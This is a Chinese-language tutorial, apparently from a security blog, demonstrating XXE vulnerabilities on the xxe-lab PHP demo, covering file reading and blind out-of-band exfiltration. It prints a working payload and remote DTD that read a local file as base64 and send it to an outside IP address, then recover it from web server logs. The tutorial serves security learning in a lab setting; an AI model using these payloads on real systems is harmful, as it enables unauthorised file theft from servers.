0x00 前言
xxe-lab是一個一個包含php,java,python,C#等各種語言版本的XXE漏洞Demo
這里附上下載鏈接https://github.com/c0ny1/xxe-lab
我們用php來演示
注意:
這里我們要求php版本為5.2,5.3,5.4,因為他們的libxml版本為2.7.7,2.7.8
允許加載外部實體,libxml版本在2.9.1之后,默認是不解析外部實體
0x01 有回顯XXE
這里我們用外部實體來進行文件讀取,當然還有其他的利用方式,如:端口掃描,拒絕服務攻擊,命令執行等,我們這里先不演示了
0x02 無回顯的XXE
大致思路是這樣的:
我們可以寫兩個外部參數實體,第一個用來請求本地數據內容,第二個用 http 協議或者其他協議把請求到的數據作為參數帶到我們的 vps,這樣就實現了數據外帶了。
我們將源碼的輸出代碼注釋掉,將錯誤信息也不顯示
當我們繼續運行上面的內容,沒有回顯
我們構造外部實體
<?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=d:/hacker.txt"> <!ENTITY % dtd SYSTEM "http://49.233.151.121/evil.xml"> %dtd; %send; ]>
遠端服務器上要建evil.xml
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://49.233.151.121/a.php?content=%file;'>"> %payload;
然后在日志文件中就會有記錄
運行命令 tail /var/log/httpd/access_log -f
然后進行base64解碼
就會得到文件的內容
之所以要把“%”轉成 html 實體編碼是因為在實體的值中不能有“%”,所以也就只能轉成%了。